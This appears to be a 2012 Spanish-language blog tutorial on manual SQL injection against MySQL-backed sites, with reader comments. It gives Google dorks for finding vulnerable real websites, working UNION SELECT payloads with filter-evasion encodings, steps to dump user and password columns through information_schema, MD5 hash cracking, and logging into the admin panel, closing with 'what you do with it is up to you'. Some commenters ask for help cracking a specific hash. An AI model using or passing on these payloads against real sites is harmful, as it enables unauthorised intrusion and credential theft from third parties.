martes, 19 de junio de 2012

Tutorial Inyección SQL (Básica)

Advertencias, estos datos solo se proveen con fines educativos, el mal uso de los mismos es pura responsabilidad de cada uno.

¿QUE ES INYECCION SQL?

Según WikipediaInyección SQL es un método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una base de datos.
El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o script que esté embebido dentro de otro.
Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.

Según OWASP: Un ataque de inyección SQL consiste en la inserción o "inyección" de una consulta SQL a través de los datos de entrada del cliente a la aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los datos sensibles de la base de datos, modificar los datos de base de datos (Insertar / Actualizar / Borrar), ejecutar operaciones de administración de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un presente determinado archivo en el archivo de DBMS sistema y, en algunos casos para ejecutar comandos del sistema operativo. Ataques de inyección SQL son un tipo de ataque de inyección, en el que comandos SQL se inyectan en la entrada de datos plano con el fin de efectuar la ejecución de comandos SQL predefinidas.

Bueno antes de empezar, algo que tenemos que saber es que:
La informacion esta en la columna & la columna estan en las tablas y las tablas estan en la base de datos. Solo recuerda eso y después todo se te hara fácil de entender.


¿Que necesitamos para encontrar sitios vulnerables a Inyección Sql?


Necesitamos algunas Dorks ¿Que es una Dork?


Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.


Algunas Dorks:
inurl:index.php?id=
inurl:noticias.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:show.php?id=
inurl:staff_id=


Si colocamos la dork "noticias.php?id=6" en google nos saldran sitios que contienes ese id como pueden ver en la siguiente imagen:


Ahora escribimos una de esas dork en google, y chequeamos los sitios aver si son vulnerables a inyeccion sql, para eso solo tenemos que añadir un simple al final de la url del sitio, entonces la url se vera asi http://www.sitio.com/noticias.php?id=6' y si nos da un error similar a este :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/refricom/public_html/lib.php on line 186


Entonces el sitio es vulnerable como se muestra en la siguiente imagen:

Pero en caso de que no quieran estar googleando aqui les dejo un scaner online que hara su trabajo de buscar los sitios vulnerables: http://hh4ck3r.webcindario.com/sqliscaner.php utilicen el motor de Bing ya que el de google no funciona y se lo quite.

Bueno una vez tengamos un sitio vulnerable, lo siguiente que vamos hacer en buscar cuantas columnas tiene el sitio.

BUSCANDO CUANTAS COLUMNAS TIENE EL SITIO

Para buscar cuantas columnas tiene el sitio solo hay que añadir un simple (order by --) y les vamos aumentando los numeros asi (order by 1--) hasta que consiguemos un error.

www.sitio.com/noticias.php?id=1 order by 1-- (no error)
www.sitio.com/noticias.php?id=1 order by 2-- (no error)
www.sitio.com/noticias.php?id=1 order by 3-- (no error)
www.sitio.com/noticias.php?id=1 order by 4-- (no error)
www.sitio.com/noticias.php?id=1 order by 5-- (no error)
www.sitio.com/noticias.php?id=1 order by 6-- (no error)
www.sitio.com/noticias.php?id=1 order by 7-- (no error)
www.sitio.com/noticias.php?id=1 order by 8-- (no error)
www.sitio.com/noticias.php?id=1 order by 9-- (error)

El error nos sale en la columna 9 porque que no existe, eso significa que la web tiene 8 columnas.

Ahora hagan lo siguiente con la web: les añadimos un "union select" seguido por los numeros de las columnas separado por una coma.

[*]www.sitio.com/noticias.php?id=6 union select 1,2,3,4,5,6,8--
recuerda siempre poner los guiones --

Tambien aveces tenemos que usar algunos otros operadores en ves de el espacio ejemplo:

[*]www.sitio.com/noticias.php?id=6+union+select+1,2,3,4,5,6,7,8--

Tambien puede ser

[*]www.sitio.com/noticias.php?id=6/**/union/**/select/**/1,2,3,4,5,6,7,8--


[*]www.sitio.com/noticias.php?id=6%09union%09select%091,2,3,4,5,6,7,8--

También pueden usar (union select all) en ves de (union select) pero separado por un operador   

Tienes que ponerle un guion ( - ) detras del 6 o cualquier numero que sea o si no, solo cambiar el numero por "null" sin comillas, la url deberia verse asi:

[*]www.site.com/noticias.php?id=-6 union select 1,2,3,4,5,6,7,8--

Debería estar como esta en la siguiente foto:

CONSIGUIENDO LA VERSIÓN DE MySQL Y EL USER ACTUAL

Bueno para conseguir la vercion de MySQL es facil solo tenemos que añadirle lo siguiente en la columna 2 o 3

[*]www.sitio.com/noticias.php?id=-6 union select 1,version(),3,4,5,6,8--
o si no
[*]www.sitio.com/noticias.php?id=-6 union select 1,@@version,3,4,5,6,8--
Si nos da la version por arriba de 5 es inyectable y si nos da la version por debajo de 5 tenemos que imaginarnos las tablas  

Se vera asi como en la siguiente imagen:
Como podemos ver en la imagen esta en 5, entonces si es inyectable
.
Ahora vamos a conseguir el user actual:

Para hacer eso es bien fácil, solo tenemos que escribir "user()" sin comillas en un id inyectable.

La cual la url se vera asi: 
[*]www.sitio.com/noticias.php?id=-6 union select 1,user(),3,4,5,6,8-- 

CONSIGUIENDO LAS TABLAS

Bueno para buscar las tablas solo cogemos una columna, ejemplo cogeré la 2 y le añadiré "group_concat(table_name)" sin comillas, o si quieren solo le ponen table_name pero les recomiendo el group_concat(table_name) y despues de todas las columnas (numeros) pondremos "from information_schema.tables" y los guiones por lo que la url se deveria ver asi:

[*]www.sitio.com/noticias.php?id=-6 union select 1,group_concat(table_name),3,4,5,6,8 from information_schema.tables--

El sitio se vera así, arrojándonos todas las tablas incluso info que no estamos buscando.

Ahora queremos esconder esas otras tablas que no nos interesan, para eso solo hay que agregar  "where table_schema=database()" y los guiones, por lo que la url deberia verse asi:

[*]www.sitio.com/noticias.php?id=-6 union select 1,group_concat(table_name),3,4,5,6,8 from information_schema.tables where table_schema=database()--

La pagina se debería ver así:


Ahí tenemos las tablas que nos interesan incluyendo la del usuario por lo que de seguro ahí debe de estar el user y pass.

Ahora les mostrare como sacar las columnas de esa tabla.

Para hacer eso solo tenemos que enves de poner "group_concat(table_name)" poner "group_concat(column_name)" sin comillas y despues de los números "where information_schema.columns where table_name=usuarios--" 

¿Pero que pasaría si ponemos el nombre de la tabla así normal? 

Nos dara un error por lo que la tenemos que cambiar a hex, entonces asi se tendria que ver la url:

[*]http://www.sitio.com/index.php?id=-6 union select 1,group_concat(column_name,3,4,5,6,8 from information_schema.columns where table_name=usuarios--

Entonces nos arroja un error, como en la siguiente imagen:

Entonces, tenemos que cambiar el nombre de la columna a hex desde el siguiente convertidor:


La tabla a convertir es usuarios, entonces ya convertida la tabla se vera asi en hex "7573756172696f73" sin comillas 

Ahora donde dice where table_name=usuarios-- sustituimos el nombre de usuarios y lo pegamos por el de hex y antes de poner el de hex ponemos "0x" que significa que lo estamos poniendo en hex. 

Por lo que la url se deveria ver asi:

[*]http://www.sitio.com/index.php?id=-6 union select 1,group_concat(column_name),3,4,5,6,8 from information_schema.columns where table_name=0x7573756172696f73--

Resultado:

Como pueden ver consegui estas columnas dentro de la tabla:

id,nombre,usu,pwd,fechareg,valida,sitio 

Por lo que posiblemente el user puede estar en las columnas [usu] y la pass en la columna [pwd].

OBTENIENDO INFORMACIÓN DE LAS COLUMNAS

Para este paso solo tenemos que que borrar todo desde las columnas y borrar lo de group_concat(column_name) y solo poner  concat(), entonces la url se vería así:

[*]http://www.sitio.com/noticias.php?id=-6 union select 1,concat(),3,4,5,6,8 --

Ahora para sacar la info de las columnas usu y pwd tenemos que hacer lo siguiente, como ven en en concat() dentro de los parenticis tenemos que poner las columnas, ejemplo:

concat(usu,0x3a,pwd) bueno creo que ya lo explique para que sirve el 0x , el 0x significa que los estamos pasando a hex y bueno en este  caso estoy pasando a hex y lo de 3a significa estos dos puntos : así que saldra el user separado por los dos puntos y la pass, ejemplo:

usuario:pass

Pero si quieren que la info sea separado por otra cosa, ejemplo por <---> solo ir a editor hex que les deje y convertirlo a hex y cambiarlo por lo de 0x3a y recuerden siempre poner 0x, entonces después de los números ponemos 'from usuarios' sin comillas por lo que la url se deveria verse asi:

[*]http://www.sitio.com/noticias.php?id=-6 union select 1,concat(usu,0x3a,pwd),3,4,5,6,8 from usuarios --

Y se preguntan porque puse "from usuarios" pues esta facil como pueden ver esas columnas vienen de la tabla usuarios como pueden ver arriba donde dice consiguiendo la tablas hay pueden ver que estas columnas usu & pwd bienen de esa tabla , por lo que la consulta que estoy haciendo es como si estubiera pidiendo esa informacion de las columnas desde la tabla.

Entonces la pagina quedaria de la siguiente manera:

Pues ahora hay que desencryptar la pass en md5, pero recuerden que algunas veces la pass no estan encryptadas, entonces como dijimos esta encryptada en md5 por lo que tenemos que desencryptarla.

DESENCRYPTANDO PASSWORDS EN MD5

Podemos utilizar algunos decrypters online de md5 como las siguientes paginas:

Y muchas mas que existen en la red, pero en este caso yo usare una tool programada en Perl para desencryptar dicho MD5.

Si desean la Tool, pueden obtener el código desde aquí: http://fpaste.org/8PyU/ solo la compilan y lo lanzan.

Entonces el password a desencryptar es: 9580dbba64a17257183b730068d4f8bc 

Ejecuto la Tool:
Es fácil de usar, como pueden ver hay dos opciones 1 y 2, si escogen la 1 tendran que poner su hash y el programa mandara su hash a sitios a ver si lo puede crakear y la opcion 2 es para que carguen su propio diccionario y cracken el hash.

En este caso yo escogí la opción 1 y el resultado es el siguiente:

Según toda la informacion que he obtenido, el user debe de ser 'Administrator' y la pass 'fede86' 

OBTENIENDO EL PANEL DE CONTROL DEL ADMIN

Ya que tenemos el user y pass que son Administrator y fede86 solo nos faltaría encontrar el panel de administración, para eso necesitamos un admin panel finder, pueden usar este finder online:


Obteniendo el link del panel de administración, solo faltaría logearnos con el user Administrator y pass fede86

& Voila... Ingresamos !

Ahora, solo queda en sus manos lo que quieran hacer con alguna web vulnerable.

Recuerden que este tutorial es para realizar la Inyección SQL manualmente, también existen muchos metodos mas, pueden utilizar algunas herramientas para explotar la misma, pero ya luego estaré hablando sobre eso.

Saludos...

Creditos: CL-Security@BatBoy And Me

7 comentarios:

  1. Gracias por el tuto, pero ya habia visto esto en
    http://www.gratisprogramas.org/descargar/tutorial-sobre-inyecciones-sql-en-mysql/

    ResponderEliminar
  2. Claro, en la red existe muchos tutoriales de INYECCION SQL, pero no todas son las mismas.

    Te agradecería que leas un poco mas y asi comentas con base y fundamentos.

    Saludos.

    ResponderEliminar
  3. Hola man sigue adelante muy buenos tutoes en tu blog felicitaciones por los hacking in the a real word geniales

    ResponderEliminar
  4. muchas gracias por el tutorial pero no pude resolvear una parte final ojala me puedas contactar por correo aver en que fallo, segui todos los puntos bien pero me lie al final porque resultado de todo tengo

    id,name,email,dob,date y no puedo obtener ningun resultado de esos, solo me tira error saludos.

    eldaredevil77@gmail.com

    ResponderEliminar
  5. Amigo como logro desencriptar esta pass: 175a8d6e574bf612bc714c664fe9b350

    ningun desencriptador me la da ):

    si tienes la pass pasamela a thomaszambrano24@gmail.com

    Saludos..!! Buen tuto!

    ResponderEliminar
  6. Como evitar la inyección de código SQL

    ResponderEliminar
  7. Excelente tutorial!

    Yo tuve un pequeño problema pero por suerte logré resolverlo. Si "group_concat(table_name)" no les funciona(como en mi caso), intenten con esto "group_concat(cast(table_name as char))".

    ResponderEliminar